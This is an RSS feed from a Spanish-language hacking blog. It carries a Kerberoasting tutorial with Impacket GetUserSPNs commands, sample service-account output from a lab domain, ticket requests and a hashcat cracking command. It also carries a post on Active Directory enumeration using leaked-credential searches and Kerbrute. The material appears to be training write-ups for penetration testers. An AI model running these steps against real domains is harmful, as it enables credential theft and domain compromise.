<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>BDLBC</title>
    <description>A Jekyll Blog Theme For Hackers</description>
    <link>https://bdlbc.github.io</link>
    <atom:link href="https://bdlbc.github.io/feed.xml" rel="self" type="application/rss+xml" />
    <author>
      <name>Jorge BC</name>
      <email>bl4sdl3zo@proton.me</email>
      <uri>https://academy.hackthebox.com</uri>
    </author>
    
      <item>
        <title>Kerberoasting from a Linux Host</title>
        <description>&lt;p&gt;&lt;img src=&quot;/assets/kerberos.png&quot; alt=&quot;Imagen_Kerberos&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;kerberos&quot;&gt;Kerberos&lt;/h1&gt;

&lt;h2 id=&quot;qué-es-kerberos&quot;&gt;¿qué es Kerberos?:&lt;/h2&gt;
&lt;p&gt;Es una técnica de movimiento lateral / escalada de privilegios en el entorno de Directorio Activo. Tiene como objetivo la  cuentas “Service Principal Names”. Los SPN son identificadores únicos que utiliza kerberos para mapear un servicio en una cuenta de servicio en cuyo continente corre el servicio. Las cuentas de dominio suelen utilizarse para saltarse las limitaciones de autenticación de cuentas built-in como “NT AUTHORITY\LOCAL SERVICE”. Cualquier usuario de dominio puede solicitar un ticket kerberos para una cuenta de servicio del mismo dominio. Esto también está permitido entre árboles de dependencia en caso de que la autenticación esté permitida en el árbol de confianza. Lo único que necesitamos para realizar un ataque kerberoasting es una contraseña en texto claro ( o un hash NTLM), una shell en el contexto de un usuario de dominio o acceso a nivel de sistema a un host unido a dominio. Las cuentas de dominio que corren servicios son a menudo administradores locales, si no cuentas de altos privilegios de dominio. Debido a la naturaleza distribuida de los sistemas, interacción de servicios y transferencias de datos asociadas, las cuentas de servicio pueden ser ser administradores privilegiados en múltiples servidores a lo largo de la compañía. Muchos servicios requieren elevados privilegios en el sistema, por lo que las cuentas de servicio se suelen asociar a los grupos de privilegiados como Domain Admins. Es muy común encontrar con SPNs asociados a cuentas de privilegios elevados en un entorno Windows. Conseguir un ticket kerberos para una cuenta con SPN no significa per se que tengamos permiso para ejecutar comandos en el contexto de esta cuenta. Sin embargo el ticket TGS-REP está cifrado con el hash NTLM de la cuenta por lo que la contraseña en texto claro puede ser obtenida forzándolo a un ataque de fuerza bruta off-line.
Las cuentas de servicio suelen tener contraseñas débiles o reutilizadas para simplificar la tarea del administrador y en algunas ocasiones la contraseña es la misma que el nombre de usuario. Si la contraseña para una cuenta de dominio de SQL Service es craqueada, es probable que te puedas hacer administrador local en múltiples servidores o incluso el Domain Admin. Incluso si mediante kerberoasting conseguimos un ticket con un nivel de cuenta de usuario poco privilegiada, podemos utilizarla para solicitar tickets de servicio del servicio especificado en el SPN. Por ejemplo, si el SPN es de MSSQL/SRV01, podemos acceder al MSSQL como sys admin, habilitar xp_cmdshell extended procedure y obtener la capacidad de ejecución de código en el servidor SQL.&lt;/p&gt;

&lt;h2 id=&quot;a-tener-en-cuenta-durante-el-ataque&quot;&gt;A tener en cuenta durante el ataque:&lt;/h2&gt;
&lt;p&gt;Obtener un ticket TGS no te garantiza obtener una lista de credenciales válidas, el ticket debe ser crackeado off-line para obtener la contraseña en texto claro. Los tickets TGS llevan más tiempo de crackeo que otros tickets como los NTLM por lo que a menudo , a no ser que tenga una política débil de contraseñas puede resultar muy difícil o imposible crackear una contraseña con una plataforma normal de crackeo&lt;/p&gt;

&lt;h2 id=&quot;desarrollo-del-ataque&quot;&gt;Desarrollo del ataque:&lt;/h2&gt;
&lt;p&gt;Los ataques de kerberoasting son fáciles de ejecutar con herramientas y scripts que lo automatizan. Podemos realizar estos ataques tanto desde un host linux como windows. Primero lo veremos desde un host Linux y de una manera semi-automatizada.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prerequisito&lt;/strong&gt;
Prerrequisitos: Una shell en un contexto de usuario de dominio o una cuenta como SYSTEM. Debemos saber también que host el Domain Controller.
Lo primero que necesitamos es el se de herramientas de Impacket.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;python3 &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Obtener lista de SPNs en el dominio&lt;/strong&gt;
Podemos obtener una lista de los SPNs presentes en el dominio. Para ello necesitaremos una lista de &lt;strong&gt;credenciales válidas&lt;/strong&gt; y la &lt;strong&gt;dirección del Domain Controller&lt;/strong&gt;. Podemos autenticarnos contra el Domain Controller con una contraseña en texto claro, un hash NTLM o un ticket Kerberos. Para nuestro caso utilizaremos el método de la contraseña. Con el siguiente comando podemos hacer un prompt de las credenciales y conseguir una lista de SPNs de una manera agradable. En el prompt de abajo podemos ver un ejemplo. Si podemos conseguir alguno de estos tickets y crackearlo podría llevar al compromiso del dominio. Es igualmente necesario que investiguemos todos los diferentes usuarios que aparecen porque no sabemos quien podría ser más fáciles de crackear.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GetUserSPNs.py &lt;span class=&quot;nt&quot;&gt;-dc-ip&lt;/span&gt; 172.16.5.5 INLANEFREIGHT.LOCAL/forend

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                           Name               MemberOf                                                                                  PasswordLastSet             LastLogon  Delegation 
&lt;span class=&quot;nt&quot;&gt;---------------------------------------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----------------------------------------------------------------------------------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------------------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;---------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----------&lt;/span&gt;
backupjob/veam001.inlanefreight.local          BACKUPAGENT        &lt;span class=&quot;nv&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Domain Admins,CN&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Users,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;INLANEFREIGHT,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;LOCAL                                       2022-02-15 17:15:40.842452  &amp;lt;never&amp;gt;               
sts/inlanefreight.local                        SOLARWINDSMONITOR  &lt;span class=&quot;nv&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Domain Admins,CN&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Users,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;INLANEFREIGHT,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;LOCAL                                       2022-02-15 17:14:48.701834  &amp;lt;never&amp;gt;               
MSSQLSvc/SPSJDB.inlanefreight.local:1433       sqlprod            &lt;span class=&quot;nv&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Dev Accounts,CN&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Users,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;INLANEFREIGHT,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;LOCAL                                        2022-02-15 17:09:46.326865  &amp;lt;never&amp;gt;               
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351  sqlqa              &lt;span class=&quot;nv&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Dev Accounts,CN&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Users,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;INLANEFREIGHT,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;LOCAL                                        2022-02-15 17:10:06.545598  &amp;lt;never&amp;gt;               
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev             &lt;span class=&quot;nv&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Domain Admins,CN&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Users,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;INLANEFREIGHT,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;LOCAL                                       2022-02-15 17:13:31.639334  &amp;lt;never&amp;gt;               
adfsconnect/azure01.inlanefreight.local        adfs               &lt;span class=&quot;nv&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;ExchangeLegacyInterop,OU&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Microsoft Exchange Security Groups,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;INLANEFREIGHT,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;LOCAL  2022-02-15 17:15:27.108079  &amp;lt;never&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;##Obtener el Ticket:
Una vez hemos visto los tickets que hay disponibles podemos hacer un request de cualquiera de ellos, aunque como ya hemos dicho sería necesario hacerlo de todos porque no sabemos quién podría tener una contraseña débil.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GetUserSPNs.py &lt;span class=&quot;nt&quot;&gt;-dc-ip&lt;/span&gt; 172.16.5.5 INLANEFREIGHT.LOCAL/forend &lt;span class=&quot;nt&quot;&gt;-request-user&lt;/span&gt; sqldev &lt;span class=&quot;nt&quot;&gt;-outputfile&lt;/span&gt; sqldev_tgs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Con el ticket final en nuestro poder solo tenemos que crackearlo en busca de la contraseña en texto plano, como este ejemplo es de un laboratorio sencillito la contraseña está dentro del diccionario “rockyou.txt”. Para casos profesionales tendríamos que generar un diccionario personalizado, pero eso lo subiré en otro post.&lt;/p&gt;

&lt;p&gt;##Crackeo del Ticket:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;Happy Hacking
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;bl4sdl3zo@proton.me
&lt;/code&gt;&lt;/pre&gt;
</description>
        <pubDate>Wed, 20 Nov 2024 00:00:00 +0000</pubDate>
        <link>https://bdlbc.github.io//Kerberoasting-Linux</link>
        <link href="https://bdlbc.github.io/Kerberoasting-Linux"/>
        <guid isPermaLink="true">https://bdlbc.github.io/Kerberoasting-Linux</guid>
      </item>
    
      <item>
        <title>Enumerando AD</title>
        <description>&lt;p&gt;&lt;img src=&quot;/assets/WindowsAD.jpg&quot; alt=&quot;Imagen AD&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;enumerando-el-ad&quot;&gt;Enumerando el AD&lt;/h1&gt;

&lt;h2 id=&quot;busqueda-de-información-en-sus-dns&quot;&gt;Busqueda de información en sus DNS:&lt;/h2&gt;
&lt;p&gt;El mejor sitio para hacer la búsqueda (en mi opinión) es [Hurrican Electric]https://bgp.he.net/dns/ , cuentan con una herramienta que funciona muy bien. Ofrece un registro completo de las DNS y de las diferetens IPs asignadas que pueda tener un dominio público. Ya seque la mayoría prefiere herramientas propias como nslookup pero en mi opinión esta es la uqe mejor funciona.&lt;/p&gt;

&lt;h2 id=&quot;busqueda-de-información-pública-archivos&quot;&gt;Busqueda de información pública (archivos):&lt;/h2&gt;
&lt;p&gt;Podemos encontrar todo tipo de archivos publicados por una empresa, para ello debemos buscar en nuestro buscador el tipode archivo y la url en la que podríamos buscarlo. Estos son algunos de los tipos de archivos que podemos buscar &lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/indexable-file-types&quot;&gt;Tipos de archivos&lt;/a&gt;, prefiero no seguir indagando en esto porque creo que lo mejor será crear una sección solo para el OSINT.
&lt;img src=&quot;/assets/PDF_search.png&quot; alt=&quot;Imagen DuckDuck go&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;busquda-de-credenciales-filtradas&quot;&gt;Busquda de credenciales filtradas:&lt;/h2&gt;
&lt;p&gt;A menudo en la enumeración del Direcotrio Activo veremos que las mismas herramientas que utilizan los pentesters también son utilizadas por el blueteam/equipo defensivo, un ejemplo de ello es esta herramienta para la &lt;a href=&quot;https://dehashed.com/&quot;&gt;busqueda de credenciales filtradas&lt;/a&gt;, en ella podemos ver si las contraseñas asociadas a nuestras cuentas están filtradas, tengamos en cuenta que aunque nuestro dominio no sea vulnerado peude que si los correos privados de los trabajadores de la empresa y en caso de que se reutilicen las credenciales ya se habría vulnerado un usuario de dominio.&lt;/p&gt;

&lt;h2 id=&quot;enumeración-del-directorio&quot;&gt;Enumeración del directorio:&lt;/h2&gt;

&lt;h3 id=&quot;kerbrute&quot;&gt;Kerbrute:&lt;/h3&gt;
&lt;blockquote&gt;
  &lt;p&gt;Herramienta para la enumeración de usuarios de dominio.
&lt;strong&gt;Kerbrute&lt;/strong&gt; se apoya en el fallo de autenticación de kerberos que no suele generar logs de alerta, esto nos permite enumerar un gran número de usaurios de una manerra muy rápida, o al menos más rápida y silenciosa de lo que lo haríamos con otras herramientas como CrackMapExec. Para poder utilizarlo debermos pasarle una lista de usuarios potencialmente válidos, esta lisa la podemos obtener de múltiples maneras, en GitHub podemos encontrar repositorios con lista como &lt;a href=&quot;https://github.com/insidetrust/statistically-likely-usernames&quot;&gt;insidetrust&lt;/a&gt; cargada con más de 4000 nombre en inglés. En caso de querer algo más profundo (lo recomendable) es buscar de manera más inteligente, por ejemplo dentro del perfil de Linkdln de los trabajadores o extrabajadores, para este fin podemos utilizar la herramienta &lt;a href=&quot;https://github.com/m8sec/CrossLinked&quot;&gt;Crosslinked&lt;/a&gt;, nos permite rastrear toda la red para conseguir estos nombres de usuario de dominio.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;En este &lt;a href=&quot;https://www.hackingarticles.in/a-detailed-guide-on-kerbrute/&quot;&gt;repo&lt;/a&gt; podemos encontrar un guía sobre la descarga, configuración y uso de la herramienta&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/kerbrute.png&quot; alt=&quot;Teoría de Kerbrute&quot; /&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;Happy Hacking
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&quot;language-Python&quot;&gt;Nos vemos pronto con la siguiente herramienta
&lt;/code&gt;&lt;/pre&gt;

</description>
        <pubDate>Wed, 30 Oct 2024 00:00:00 +0000</pubDate>
        <link>https://bdlbc.github.io//Enumerando-AD</link>
        <link href="https://bdlbc.github.io/Enumerando-AD"/>
        <guid isPermaLink="true">https://bdlbc.github.io/Enumerando-AD</guid>
      </item>
    
  </channel>
</rss>
